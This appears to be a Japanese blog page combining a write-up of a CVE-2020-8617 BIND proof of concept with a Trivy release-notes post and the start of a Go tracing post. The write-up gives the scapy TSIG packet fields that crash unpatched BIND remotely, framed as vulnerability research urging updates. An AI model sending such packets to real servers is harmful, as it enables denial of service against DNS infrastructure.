
脆弱性詳細

では実際に詳細を見ていきます。自分がどう調査していっていったのか、という時系列ベースになっているので少し見にくいかもしれませんが調査プロセスも誰かの参考になるかもしれないので順番に書いておきます。

まず今回のCVE-2020-8617に対するパッチを見てみます。

github.com

この変更を見るとrequestは処理されてほしくないのに処理されてしまっている感じが伝わってきます。コミットメッセージも

Only look at tsig.error in responses

と言っていて、リクエスト時にもtsig.errorを見てしまったのかと予想できます。前者は!responseなのでrequestを吸い込みたそうで、後者はif responseなのでリクエストに入ってほしくなさそうです。つまり、細工したリクエストを送ってこの最初のelse ifに入らず後半のifに入れば勝てそうな予感がします。

ここからは実際にBINDをビルドしながら検証していきました。調べたところdigでTSIGリソースレコードを送れることがわかりました。ということで適当にリクエストを送ってみます。

$ dig @127.0.0.1 -y hmac-sha1:local-ddns:abcdefg www.example.com 

ですが、これだとそもそも上記のパッチがあたっているdns_tsig_verify関数にも入ってくれませんでした。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

さすがにsha1の形ぐらいは揃えないとダメなのかな?と思い適当な値をsha1して送りました。

$ echo foo | sha1sum
f1d2d2f924e986ac86fdf7b36c94bcdf32beec15  -
$ dig @127.0.0.1 -y hmac-sha1:local-ddns:f1d2d2f924e986ac86fdf7b36c94bcdf32beec15 www.example.com

するときちんとdns_tsig_verifyが呼ばれてverify errorになりました。単にエラーが出ただけでプロセスが落ちたりはしません。printfデバッグしたところ以下のところで弾かれていました。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

tsig.algorithmを使ってkeyを探しているようだったのでlocal-ddnsアルゴリズムを調べたところhmac-sha256でした。そこでsha1ではなくsha256で送ってみました。

$ echo foo | sha256sum
b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c  -
$ dig @127.0.0.1 -y hmac-sha256:local-ddns:b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c www.example.com

今度はエラーの内容が変わり、以下のif分の中でエラーで弾かれていることがわかりました。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

これは見ればわかるのですが、評価して欲しい以下のelse if文のif側になります。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

つまり、こっち側に入ると確実に目標のelse ifで評価されてくれません。パッチはrequestを吸い込むようにしているのでそちらのelse if内にも入って欲しいわけではないのですが、そこのelse ifで評価されないと攻撃として成立しない予感がします。

そこでifの条件を見ると if (tsig.siglen > 0) { となっています。

bind9/tsig.c at 2d95c81452096478f0dbb071db21b2fba1df5bc1 · isc-projects/bind9 · GitHub

つまり、macを空にすればsiglen=0となってこちらのifには入らずに済みそうです。そこで空にして送ろうとしたのですが、digではもう無理なようでした。今改めて見ると空文字をbase64してCg==とか送ればまだ戦えたのかな?と思ったのですが、どうせもっと細かくフィールドを細工する必要があったのでscapyを使うほうが良いです。

$ dig @127.0.0.1 -y hmac-sha256:local-ddns: www.example.com
;; Couldn't create key hmac-sha256: bad base64 encoding

そこでPythonのライブラリであるscapyに切り替えました。ドキュメントを見るとDNSRRTSIGが定義されているのでTSIGを送れそうです。

scapy.readthedocs.io

まずscapyでTSIGをAdditonal RRsに入れて正常寄りのリクエストを送ってみたのですが、なぜかエラーでうまく送れません。Wiresharkで見てみたところMalformed Packetと表示されていました。

f:id:knqyf263:20200520232842p:plain

原因が分からなかったので、digで送った正常なリクエスト(macは正しくないのでBINDサーバ側で弾かれるやつですが少なくともMalformed Packetではない)もキャプチャしてひたすら目diffしました。関係ないですが2つのパケットをdiff取って可視化してくれるツールがあれば誰か教えて下さい。そこで無駄に時間食いました。

調査していったところ、いくつかのフィールドの値が異なっていたのとMac Sizeが間違っていたので修正しました。詳細は割愛します。その結果、scapy経由でも無事にBINDサーバ側でdns_tsig_verify関数が呼ばれるようになりました。そして上に書いたようにsiglenが0になるように以下のパケットを送りました。

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="")

その結果、siglenが0となり先程のifを回避することができました。しかし今度はelse ifの方に入ってしまいました。

bind9/tsig.c at 3178974f0c1d0c395808a75676199eea1f25ddc2 · isc-projects/bind9 · GitHub

こちらのelse ifに入ると即座にreturnされてabortしてくれません。後半の方のifに入って貰う必要があります。ここでようやくtsig.errorが登場します。先程のコミットメッセージの通り、このtsig.errorはレスポンス時にのみ評価されるべき値のようです。なので、リクエストでerrorを詰めてみます。このelse ifで比較しているdns_tsigerror_badsigとdns_tsigerror_badkeyに対応する値はそれぞれ16と17です。16で試してみます。

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=0, mac_data="", error=16)

そしてあっさりとBINDサーバが落ちました。

20-May-2020 12:31:31.207 client @0x7f13540e2820 172.17.0.1#53206: request has invalid signature: TSIG local-ddns: tsig verify failure (BADTIME)
20-May-2020 12:31:31.208 tsig.c:869: INSIST(msg->verified_sig) failed
20-May-2020 12:31:31.208 exiting (due to assertion failure)

実際にはエラーメッセージにも出ているようにtsig.cの869行目のINSIST(msg->verfied_sig)で落ちます。

bind9/tsig.c at 3178974f0c1d0c395808a75676199eea1f25ddc2 · isc-projects/bind9 · GitHub

あと実はもう1つの条件として、signされた時刻をexpiredな時刻にしておく必要があります。これは実際にソースコード上でどこが該当するのかわからないのですが、最初真面目に以下のようにtime_signedを設定したら刺さりませんでした。

tsig = DNSRRTSIG(rrname="local-ddns", algo_name="hmac-sha256", rclass=255, mac_len=32, mac_data=h.digest(), time_signed=int(time.time()), fudge=300, error=16)

そして書き直していた時に書き忘れて偶然刺さったというラッキーが起こりました。Exploit書く人間には多少の運が必要という格言もある気がします。

ということで終わってしまえば簡単にPoCを書くことができました。実際には数時間ぐらいは奮闘していたのでこんなにすんなりは行っていないですが、攻撃者もすぐに(または既に)開発できてしまうと思います。local-ddnsがデフォルトで生成されてしまう可能性と合わせると非常に危険な状態だと言えます。攻撃そのものも1パケットをリモートから送るだけでBINDサーバがダウンするので無差別攻撃も容易です。key名を分かりにくくすることである程度緩和可能だとは思いますが、やはり個人的にはBINDのバージョンアップデートを推奨します。もちろん諸事情で上げられない環境があるのもよく知っていますが...

PoC

再掲しておきます。自分で試してみたい方向けにDockerイメージも用意してあるので簡単にDoSを検証可能です。

github.com

まとめ

CVE-2020-8617のPoCを解説しました。過去もPoCコードを書いたことは何度もあるのですが、某県警が怖くて公開してきませんでした。これは冗談のようですが割と真面目に事実です。セキュリティ業界はそういった情報を交換し合うことで教訓とし、次の事故を防ぐといったように成長してきていると考えていますが、日本では公の場でそういう事が出来ず厳しい状況に置かれているなと感じています。攻撃者は裏で共有しあっているわけで、守る側が成長しないとどんどん攻撃者との差が開いていきます。日本はセキュリティが遅れていると言われるのも仕方ない気がします。もちろん中には凄い方もたくさんいらっしゃいますが、全体としての話です。

今回はせっかく日本にいないので公開することにしました。脆弱性が公開されて不必要に怖がるのではなく、また攻撃コードがないからと詳細も見ずに楽観視するのでもなく、自ら脆弱性内容を正しく理解し正確にハンドリングできる人が増えていくと良いなと思います。自分もまだまだなのですが、どのように脆弱性を追っていきどのように攻撃可能性を判断するか、という点で本記事が少しでも誰かの役に立てば幸いです。

教訓めいた感じになりましたが、CVE-2020-8617に関して言えば推測可能なkeynameがある場合は即座にアップデート推奨と現時点では考えています。

1日1万回感謝のBINDビルドをしておかないとこういう時にすぐ動けないので、音を置き去りにする速度でPoCを書くためにも皆さん毎日ビルドしましょう。

Trivyのアップデート(2019/10 - 2020/04)

噂によると日本でもGWが終わったらしいです。自分は去年のGWにTrivyを開発したので気づけばもう一年経ちました。いい機会なので直近のアップデートをまとめようと思います。

あと会社の評価の時期の前に自分の成果まとめておくかーと思ったのですが(多分もう評価終わってしまったけど)、仕事の80%近くをOSSであるTrivyに費やしているので、Trivyに関して近頃のアップデートや周辺のニュースをまとめけば大体OKということに気づいたというのも理由の一つです。ということで書いておきますが、気まぐれなので次以降も書くかは不明です。近況が追えてなかったという人もちらほらいたので、基本は自分で見返すために書いてますが誰かの役に立てば幸いです。

なぜそういう仕事をすることになったのかについては過去にやたらと長いやつを書いてあるので興味あれば。

knqyf263.hatenablog.com

そしてこの記事もかなりかいつまんで書いたつもりだったのですが、やたらと長くなりました。アップデートだけ知りたい人は見出しだけ流し読みすれば良さそうです。

概要

そもそもどういうツールなの?という人はそもそもこの記事を開かずにスキップするとは思うのですが、一応貼っておきます。コンテナの脆弱性をスキャンするツールです。

qiita.com

どうでも良いですが自分のQiitaの記事を探そうと"trivy qiita"とかでググったら全然ヒットしなくて記事の書き方の下手さを改めて実感しました。

新機能

この半年でちまちまと新機能が増えました。バグの修正も多かったですが... 同僚や外部の方々等、色々な人に助けてもらっているもののメインはやはり自分一人なので若干もどかしい部分はあります。まだまだ足したい機能があるのでもう少しリソースを割きたい気持ちはありつつ、弊社はまだベンチャーGAFAのように金が無限にある状態ではないので、会社としては今ぐらいが丁度よいバランスなんじゃないかと思っています。小さい会社でOSSチームがあるだけ凄いなと思っています。

あとはやはりOSSをビジネスに繋げていこうというのが会社方針としてあります。どう繋げていくかについては内部でも非常に議論されていて面白いなと思っているのですが、それについて話すと長くなるので気分が高まった時に書きます。ということでビジネス要件で足した機能もあったりします。自分もヘルプでSaaS開発に入ったりするので、たまにそっちにリソースを割いたりもしています。

全部書くときりがないので、大きい機能だけ紹介します。Aqua Securityに譲渡したのが去年の9月ぐらいなので、それ以降のやつを書いていきます。

v0.1.7

Amazon Linuxのサポート

Amazon Linux 1/2をサポートしました。要望の声が多かったので優先度高めでやりました。Clair という競合ツールがあるのですが、そちらでは Amazon Linux 2018.03 以前のイメージはスキャンできません。スキャンできていそうに動きますが検知はされません。そんなに古いイメージ使わないからいいでしょ、という声もあるとは思いますが意外と闇のイメージがあったりします。

$ trivy amazonlinux:2

Google Distrolessのサポート

単純にDistrolessと言うとscratchやbusyboxとかと勘違いされやすい事が分かったのでGoogle Distrolessと呼んでいます。こちらは基本的にDebianがベースになっているのですが、パッケージがほとんど入っていません。distroless/baseだと確か6つぐらいです。そのため脆弱性も見つかりにくく近年利用が増えています。こちらは 天地さん の尽力もありサポートすることができました。

$ trivy gcr.io/distroless/base-debian10

Kanikoのサポート

Kanikoというビルドツールでビルドされたイメージは内部構造が若干違う関係で以前はスキャンが失敗していました。こちらもユーザからの声が増えてきたので対応しました。

templateファイルへの出力に対応

以前は結果をテーブルやJSONでしか出力できなかったのですが、template出力に対応しました。Golangのtext/templateのフォーマットで渡してあげれば結果がそのテンプレートを基に出力されます。自分としてはJSON出力しておけばあとはユーザ側でやってほしいという気持ちだったのですが、template対応したことでユーザがtemplateを書いてPRくれたりするようになったので(後述)対応して良かったです。

$ trivy --format template --template "{{ range . }} {{ .Target }} {{ end }}" golang:1.12-alpine

v0.2.0

スキャンの高速化

色々工夫した結果、スキャンの実行時間が劇的に短縮されました。実行時間のほとんどが脆弱性情報の更新だったのですが、そこが高速化されました。詳細は長いので割愛しますが、GitHub Releases上に脆弱性DBファイルを置いてあるので実行時にダウンロードするだけになっています。以前は初回スキャンだと数分かかってしまっていたのですが、現在はデフォルトオプションだと10秒前後で、--light オプションを使うと数秒です。CIサービスによっては1秒を切ることもありました。

ちなみに高速化前でも他の多くのスキャナーよりは速かったです。ただ何となく自分で許せないところまで来たのでカッとなってやりました。他のスキャナーと比べて遅いわけじゃないならやらなくて良いと会社は言っていたのですが、熱意を伝えて工数を勝ち取りました。

そしてハマコーさんがブログにしてくださいました。正直特に評価もされないのにかなり頑張ったのでブログにしてもらえて嬉しかったです。

dev.classmethod.jp

こういう声も嬉しいです。サポートOSが増えた関係でDBサイズも大きくなっちゃったのですが、まだ許容範囲のはずです。

lightオプションの追加

上に書いたように−−lightオプションを追加しました。以前は脆弱性詳細や関連URL一覧も取得していたのですが、人によってはCIで回したいだけなので詳細は不要で深刻度ぐらい分かれば良いという人も多いことがわかりました。CVE-IDさえ分かればあとは検索すれば詳細は出てくるのでそちらを参照というスタイルですね。こちらであればDBサイズがさらに小さいのでより速くスキャン可能です。

$ trivy --light alpine:3.11

環境変数によるオプション指定に対応

trivy --exit-code 1 alpine:3.11 のようなものが TRIVY_EXIT_CODE=1 trivy alpine:3.11 のように指定できるようになりました。今の御時世だとコンテナオーケストレーションツール経由で渡す場合など、何でも環境変数で指定できる方が便利ということですね。

v0.2.1

GITHUB_TOKENの指定

GitHub ReleasesからDBファイルをダウンロードするため、大量のイメージがある人はGitHub APIのRate Limitingに引っかかる事が分かりました。GITHUB_TOKENでtokenを指定するとRate Limitingの上限が上がり回避可能です。

$ GITHUB_TOKEN=xxx trivy alpine:3.11

v0.3.0

Client/Serverに対応

以前はスタンドアローンでしか動かせなかったのですが、10ホストあると10回脆弱性DBをダウンロードする必要があります。CIサービスとだとキャッシュも使えますし、そもそも上述したように数秒なのであまり問題ないのですが、オンプレミスでCI環境を構築していたり各マシンでcronでやっていたりすると一度ダウンロードしたDBを使いまわしたいというニーズがありました。そこでserver modeを用意し、serverで脆弱性DBさえ更新すればclient側は不要で済むようにclient/serverを実装しました。

サーバ側を以下のように起動して、

$ trivy server --listen localhost:8080
2019-12-12T15:17:06.551+0200    INFO    Need to update DB
2019-12-12T15:17:56.706+0200    INFO    Reopening DB...
2019-12-12T15:17:56.707+0200    INFO    Listening localhost:8080...

クライアントでスキャンするだけです。

$ trivy client --remote http://localhost:8080 alpine:3.11

サーバは定期的に勝手にDBを更新するので放っておけば良いです。

Oracle Linuxのサポート

これは @masahiro331 がメインでやってくれました。

$ trivy oraclelinux:8.2

v0.4.0

Photon OSの対応

これも@masahiro331 がメインでやってくれました。実はこれがHarborのデフォルトスキャナーとなるために重要な機能の一つでした。HarborはVMwareがメンテナンスしているOSSですが、Photon OSもVMwareが提供しているOSになります。Harborのイメージは全てPhoton OSで構築されているため、Photon OSのスキャンは重要でした。Harborは以前から脆弱性スキャナーとしてClairを採用していましたが、Issueを出しても一向にPhoton OSの対応をしてくれないということでメンテナーの方々も色々な思いを吐露していました。公の場で言うのはアレなのでここまでにしておきますが、既にデフォルトとなっているものをわざわざ置き換えるというのは非常に労力も大きいですし相当アレがアレしてました。

ちなみに他のOSと比べてPhoton OSはセキュリティアドバイザリがとても親切です。新たなOSに対応するのは簡単ではないのですが、実はその大部分がセキュリティアドバイザリの難しさから来ていたりします。その点Photon OSは開発者フレンドリーで最高です。まずJSONなどという生ぬるいフォーマットで完全な情報が提供されているのがPhoton OSぐらいです。Harborのメンテナーはとても喜んで感謝してくれていましたが、感謝を述べたいのは正直こっちでした。

そしてRed Hatのセキュリティアドバイザリの難しさは群を抜いています。対応しているOSは現時点で12個ぐらいあるのですが全体の工数の7割ぐらいをRed Hatに持っていかれています。

SUSE Enterprise Linux / openSUSEの対応

これも@masahiro331 と協力し進めました。セキュリティアドバイザリが異常な難しさで、Clair含め既存の脆弱性スキャナーは正しく動作しません。@masahiro331はSUSE脆弱性スキャンに世界一詳しいと言ってました。

使い方はいつも通り。

$ trivy opensuse/leap:15.0

v0.4.3

templateをファイルとして指定

text/template が使えるということを上述しましたが、@を最初につければファイルとして渡せるようになりました。

$ trivy --format template --template "@/path/to/template" golang:1.12-alpine

そしてこちらの機能を使ってGitLabのContainer ScanningのフォーマットのJSONを出力できるようになりました。こちらは @mrueg さんによるContributiionです。本当にありがたいです。

github.com

GitLab CIの連携

上でも触れましたが、@tnir さんがさらにGItLab CIとの連携を改良してくださって、簡単に使えるようになりダッシュボードでいい感じに表示できるようになりました。ありがとうございます。

https://github.com/aquasecurity/trivy/blob/master/contrib/Trivy.gitlab-ci.yml

実はGitLab CIをちゃんと使ったことなかったのですが便利すぎて感動しました。

v0.5.0

キャッシュの改良

以前はスキャンしたイメージのレイヤーをまるごとtarファイルとして保存していました。理由としてはCIで回すなら揮発するしローカルでそんなに大量にスキャンしないじゃろ、ぐらいのノリでした。あとはDockerのレイヤーを自前で組み立てるためにはopqファイルとか諸々処理しないとダメで、まるごと残っている方が都合が良いというのもありました。GW中に開発終えたかったのであまり余裕がなかったというただの言い訳も挟んでおきます。

当然ユーザが増えて大規模にスキャンする人が出てきてキャッシュサイズが問題になりました。Harborなどのレジストリに統合する場合は特に問題です。ということでレイヤーから必要な情報のみ抽出してJSONに変換して保存するようになりました。これにより劇的にキャッシュサイズが減ったので問題になるユーザはほとんど現れないと思われます。

また、Client/Serverで起動したときにキャッシュをサーバ側で共有するように変更し、不足しているレイヤーだけRegistryから取得するようにしました。そのため、ホストAでalpine:3.11をスキャンし、ホストBでalpine:3.11にレイヤー一つ足したイメージをスキャンした場合はalpine:3.11の部分は既にレイヤーのキャッシュがサーバに存在するためホストBではダウンロードせず、不足しているレイヤーだけ取得します。ローカルのDocker Engineにあるような場合はそもそもダウンロードが発生しませんが、その場合でも解析がスキップされるのでキャッシュの効果があります。

これは結構大変だったので、この改善により後述する各種レジストリーとの統合の話が進んで良かったです。

v0.5.3

レイヤーIDの表示

脆弱性が発見されたけどレイヤーが多くてどこでそのパッケージのバージョンが入ったか分からない、という問題もありました。いやパッケージ名でDockerfileをgrepすれば良いんじゃないの...みたいな気持ちもありましたが依存で入ったりするケースもあり、やはり対応してもらえたほうが嬉しいということだったので対応しました。

脆弱性が発見された場合に以下のようにLayerが表示されます。ざっくり言うとDiffIDはレイヤーを解凍したあとのIDで、Digestというのは圧縮時のIDです。Docker Registryにある場合はDigestの方をLayerIDとして見ることが多く、ローカルにあるイメージはDiffIDの方がLayerIDというような扱いになっています。もちろん細かい条件でどちらが使われるか違うのですが、大枠そんなイメージです。

    "Vulnerabilities": [
      {
        "VulnerabilityID": "CVE-2011-3374",
        "PkgName": "apt",
        "InstalledVersion": "1.8.2",
        "Layer": {
          "DiffID": "sha256:78c1b9419976227e05be9d243b7fa583bea44a5258e52018b2af4cdfe23d148d"
          "Digest": "sha256: 9740df1ac227d21600b22524f869c9bec2d8c13446d1c8579a6195b6d855ae2b"
        },
        "SeveritySource": "debian",
        "Description": "It was found that apt-key in apt, all versions, do not correctly validate gpg keys with the master keyring, leading to a potential man-in-the-middle attack.",
        "Severity": "LOW",
        "References": [
          "https://snyk.io/vuln/SNYK-LINUX-APT-116518"
        ]
      },
  ...

v0.6.0

内部のライブラリを変えてソースコードの変更が莫大だったんですが、今見るとユーザに価値を提供するようなやつなかったのでスキップ。

v0.7.0

OCI Image Formatのサポート

OCI Image Formatをサポートしました。個人的にはskopeoとかでDockerイメージフォーマットに変更してもらえれば良いのでは...と思っていたのですが何やかんやで要望も多く対応しました。

Buildah:

$ buildah push docker.io/library/alpine:3.11 oci:/path/to/alpine
$ trivy --input /path/to/alpine

Skopeo:

$ skopeo copy docker-daemon:alpine:3.11 oci:/path/to/alpine
$ trivy --input /path/to/alpine

tarで固められている場合には対応していません。ディレクトリである必要があります。

ニュース

新機能のv0.2.0あたりで既に疲れて後半かなり適当になってきているので、ここからは完全に雑です。Trvyを取り巻くニュース的なやつをまとめておきます。見返したら結構多かったので大きいやつだけ。

Harborのデフォルトスキャナーに採用

まずはこれがとても大きいです。HarborというのはOSSのコンテナレジストリーです。ただ2.0からはOCIレジストリーとして進化を遂げてコンテナイメージだけに限らなくなっています。

Harborのブログを見ると、Trivyをデフォルトスキャナーとして採用したという件が非常に大きく書いてあります。感無量のあまりまだ実は読んでないです。

goharbor.io

元々はClairというスキャナーがデフォルトでした。自分にはClairを使うのが難しすぎて、これ使える人プロだけなのでは?みたいな気持ちが膨れ上がり爆発した結果Trivyを作り始めたという背景もあるため、デフォルトを置き換えられたのはとても嬉しいです。ただ実際にはClairもまだデフォルトスキャナーの位置づけではあります。Trivyの方が優先してインストールされるという感じで、一応両方デフォルトという名目になっています。これ実はHarborのメンテナー達と我々現場のメンバーではもう撤廃しようぜwwというノリで盛り上がってたんですが、うちのチームのボスとあちらのマネージャーが大人なミーティングをした結果、廃止は角が立つので一応残そうということになったという背景があります。ですがそのぐらい評価していただいている状態です。

これはうちのチームメンバーであるDanielがHarborにコミットし続けた結果、コミッターになったというのも大きいです。Harborの脆弱性スキャン周りは完全に裁量を持っています。ただ上述したようにPhoton OSの対応だったりバグがあったときの迅速な対応だったり、そもそも機能的に優れていたりという諸々が積み重なった結果、こういう成果を得たという感じです。スキャナーとしてどのぐらい違うのか、というのは自分が精度や機能面で比較してブログ書いたのですが大人の事情でまだリリースされていません。お蔵入りになる可能性も高そうです。

大きなニュースと思ってもらえたのか、InfoQでも記事にしてもらっています。普通はツール名しか載らないものですが、InfoQでは自分の個人名を載せてくれています。これはとてもありがたいのでInfoQのファンになりました。

www.infoq.com

Docker Enterpriseでの採用

Docker EnterpriseはMirantisが2019年11月に買収したのですが、そのMiranatisからDocker EnterpriseにTrivyを統合したいというお声がけをもらいました。

www.itmedia.co.jp

これは弊社の営業が強いとかでも何でもなく、自分個人宛にメールを頂いています。Docker Enterpriseでは既に自分達のスキャナーを持っているのですが、それがいまいちなので置き換えを検討していたらしくClairなども含め色々検討した結果、Trivyが良かったということで連絡をもらいました。

以下の記事に貰っているコメントが載っていますが、全て最高に嬉しいです。

www.prnewswire.com

containerjournal.com

Docker Enterpriseへの統合は発表したもののいくつか不足している機能があるためMirantis社のSlackに入って一緒に開発しています。Windowsイメージの対応もやってくれるということでお願いしています。

CNCF Cloud Native Interactive Landscapeへの掲載

以下のLandscapeに載せてもらったので、一応クラウドネイティブなツールと言っていけそうです。

landscape.cncf.io

これはCNCFプロジェクト(Kubernetesみたいなやつ)ではないものでもクラウドネイティブ関連ツールであれば掲載されます。ただうちのチームのボスはCNCFのTOCでチェアーをやっています。このTOCは投票でCNCFのプロジェクトとして採択するかどうかを決める立場であり、恐らく弊社OSSもCNCFプロジェクトして寄贈することは可能です。

なのになぜプロジェクト寄贈しないの?というのは前に質問して裏話が聞けて結構面白かったので、いつかオフラインの場で話せせたらなと思っています。

ThoughtWorks Technology Radarへの掲載

Trialという区分で載せてもらいました。

www.thoughtworks.com

どうやら凄いことみたいなのですが、見つけた当時は全く知らなかったので和田さんに教えていただきました。

無知すぎてめちゃめちゃ恥ずかしいことを言っていました。

AWSブログ掲載

AWSのブログに載せてもらいました。ECRの裏側ではClair使われてるのでTrivyダメなのかというとそういうわけではなく、単純にECR連携のプロジェクトが開始したときはまだTrivyなかったとかそういう背景もあったりします。

aws.amazon.com

これはうちのボスがAWS Container Hero的なやつなので、その力も大きそうです。イギリスでTrvyについて発表したらAWSの人がブログ書いてほしいと声かけてきて寄贈したという流れみたいです。発表するだけで次々と面白い話が転がってきていてすげーな...と他人事みたいに眺めてました。

Grafanaでも利用

あんまりどこで使われているかとか把握してないのですが、自分がミスって最新版が一部の環境で動かなくなったときにGrafanaで動かないんだけど、と言われて知りました。個人で始めたので最初の頃はまだどこか気楽に考えていたのですが、有名OSSのJobを失敗させてしまって怒られるとなるともう気軽にミスできるようなプロダクトではなくなってきたのかなと思うようになりました。

github.com

Clairが自分のライブラリを使用

これはかなり驚いたんですが、Clairが自分のバージョン比較のライブラリを使い始めました。Clairを倒すために作り始めたものなのに気づいたらClairに使われるという。

github.com

自分はバージョン比較王を名乗るぐらいバージョン比較を厳密にやることにこだわっていて、有名なOSSの実装を見に行ってバージョン比較のバグを直してあげたりしています。Clairも過去にPR送って直したりしてます。その結果、自分たちで開発するよりライブラリを使おうとなったのかなと思います。そして選ばれたのが自分のライブラリというのは何とも奇妙な話です。

TrivyをベースにしたSaaSをリリース

Aquaには元々脆弱性スキャナーがあったのですが、Trivyをベースにした全く新しいSaaSを0から開発しました。このSaaSでは動的解析やランタイムセキュリティなど脆弱性スキャン以外の豊富な機能を提供しています。この辺りの詳細もいずれ書けたら良いと思っています。 containerjournal.com

ブログ

かなり多くの方にブログにしてもらったので全ては挙げきれないのですが、印象に残ったものをリストアップしておきます。漏れてたらすみません。

IBMのブログ

公式ブログっぽい?

developer.ibm.com

Use Trivy and Azure DevOps to scan container images for Vulnerabilities

Microsoft Azure MVPの方がAzure DevOpsとの連携を書いてくださったみたいです。

pixelrobots.co.uk

Understanding Kubernetes: part 21 – Useful tools - part 4 - security

dev.to

Google Dev Expertの方が書いてくださったみたいです。

January Virtual Meetup Recap: Improve Image Builds Using the Features in BuildKit

Docker Captainの方がDocker Blogに寄稿したようです。BuildKitとかがメインの話でTrvyはほんの少し出てくるだけです。

www.docker.com

gitrivy

スキャン結果をIssueに登録してくれるGitHub Actionsです qiita.com

kube-trivy-exporter

Prometheus Exporterを実装してkube-trivy-exporterとして公開して下さったという内容がLIFULLのブログで触れられていました。周辺ツールを作ってもらえるのは本当に大歓迎です。

www.lifull.blog

helm-trivy

フランス語的なやつですが、helm-trivyを作ったという話っぽい。 www.objectif-libre.com

Docker Image Security: Static Analysis Tool Comparison – Anchore Engine vs Clair vs Trivy

コンテナスキャナーを比較した記事。最終的にTrivyがオススメと言ってくれていたので安心しました(記事を開く前は緊張する)。ただ比較が若干正確ではないので(例えばTrivyはCVE-IDベースだけどClairはRHSA-ID使ってたりするとかするのでどちらかに変換して比較する必要がある)、自分の方で比較したやつを公開したいのですが色々あって実現に至っておらずです。

www.a10o.net

20 ways to become a better Node.js developer in 2020

なぜかNode.jsの記事に突然脆弱性スキャンの話が出てきたのが面白かったのでここに入れました。

medium.com

KitPloit

www.kitploit.com

2019年にOSS界隈で話題になったニュース10選~日立社内SNSより~

日立のような大企業で認知されるのはやはり嬉しいです。

qiita.com

その他

medium.com

devopschat.co

scrapbox.io

発表とか

自分はまだ一回もまともにカンファレンスで話してないのですが、カンファレンスやmeetup等で誰かが話してくれていたようで自分で頑張らなくても広がるのは便利だなと思います。

GitHubの人の発表かな?

これは確かKubernetes Forum Seoul

インド

などなど

雑多な話

それ以外にも雑多なやつを少し書いておきます。

ステッカー

ステッカーをAquaが作ってくれました。KubeCon North Americaで配ったらしくみんな持ってるのに自分だけ持ってないという状態だったんですが、帰国してきたあとにちゃんと自分ももらいました。

ボスの手腕はやはり大きいですね。シンプルに凄いなーと思っています。でも上に書いたようなニュースは営業とかして得たわけではないしプロダクトが結局良くないとダメかなと思っているので、そこはある程度頑張った結果かなと思っていたりもします。

今後について

まだまだ機能追加する予定です。本音を言うと自分はsimpleに保ちたいので別プロジェクトとして立ち上げたいのですが、話し合いに負けたのでTrivyに足していくことになりました。ここらへんの大変さはまた別途書けたら良いなと思っています。

具体的には今はGitHubリポジトリスキャン対応をしています。もちろんGitHubが既にプログラミング言語のライブラリに対して脆弱性スキャンを提供しているのですが、意外と検知できない脆弱性も多かったりします。そもそもGitHub使ってないという人も多いのでこの対応をします。

プログラミング言語に関してもJavaC#の対応をしたいと考えています。パッケージマネージャのlockfileをベースでやってるためMavenとNugetになります。Mavenの仕様が色々と難しく難航という感じですがいずれそう遠くない将来対応できると考えています。

先ほど上でも述べたようにWindowsイメージのスキャンも実装されると思います。実はAqua社としてはプライオリティが低いのですがMirantisの方がやる気十分なのでいい感じに実装してくださると思います。こちらも既に話は進んでいるので一緒にやっていくことになると思います。

あとはDockerfileに組み込んで使いたいという声もあるため、そちらの対応も現在進めています。元々Aquaが提供していたフリーのスキャナーでMicroScannerというものがあり、そちらはDockerfileへの組み込み機能がありそちらが好評だったようです。Trivyの加入によってMicroScannerは廃止予定なので機能を引き継ぐ予定です。

github.com

また、現在は脆弱性の結果に対して簡単なフィルターしか行えないのですがOPAと統合することで複雑なルールを適用可能にします。さらにKubernetesへOPAと共に組み込み、脆弱なイメージはデプロイできないような設定を可能にします。このあたりはKubeCon Europe 2020で発表予定だったのですが延期になったのでまだ発表していません。

そして現在のようなパッケージベースの脆弱性だけでなく脆弱な設定のスキャンも行う予定です。例えばNginxの設定がこうなっていると危険、などといったようなものです。conftestに近いです。ですがもう少しセキュリティに特化し、具体的な攻撃や脆弱性の検知を行っていきたいです。

脆弱性を検知するだけではなく、その後の対応にも踏み込みたいと思います。以前は可視化されていなかった脆弱性が可視化されたのは良いが、結局その後の対応が楽になっていないと思っており、そこを何とかしたいと考えています。具体的には動的解析との連携を予定しています。AquaではtraceeというeBPFベースのコンテナ動的解析ツールをOSSとして提供しており、これを使って内部ではコンテナのサンドボックス環境を構築しています。コンテナを実際に動かしイベントを観察し、起動後に実際に影響の大きい脆弱性を検知したいと考えています。例えばbashで致命的な脆弱性が発見されたけど実際コンテナ起動後には一切使われない場合は極端な話対応しなくてもあまり問題ないわけです。似たアプローチしてDockerSlimのようにそもそも不要なものをイメージから削除するアプローチもあるのですが、意外とアプリケーションが動かなくなったりして大変です。一部のファイルだけ除外設定を渡してあげたりとなかなかチューニングが求められます。そもそも消したくないという話もあるかもしれませんし、あくまで削除はせずに検知できたら良いなと考えています。

github.com

他にもまだ温めている新しいアイディアがあるのですが、それらはそこそこ新規性があると思っているので実際に開発してから発表したいと思います。これは今年のGWで作るぞ〜〜と気合い入れていたのですがイスラエルはGWなくて作れませんでした。有給めっちゃ余ってるので取得できれば作るかもしれません。それが無理だと来年ぐらいになる可能性もあります...

そして何よりまだまだ知名度が低いので宣伝を頑張らないといけないなと思っています。自分は宣伝が苦手なので特に何もしていないのですが、やはり使われるためにはまず知ってもらわないといけないなと思っています。比較した上で他のツールを、というならもっと開発頑張ろうとなりますが、知らなかったので選びませんでした、となるのはもったいないなと感じています。比較してもらえれば良さが分かってもらえたかもしれないのにそのチャンスを失っています。

まとめ

途中で疲れてしまって書ききれなかったけど色々あった半年でした。

Goの1.14以前かつChrome 80以上を使っているとgo tool traceが動かない問題

問題

Goにはtrace機能がありgoroutineの実行状況などを可視化出来ます。具体的にはCPUやメモリを計測するときと同じようにpprofを差し込めば使えます。

defer profile.Start(profile.TraceProfile, profile.ProfilePath(".")).Stop()
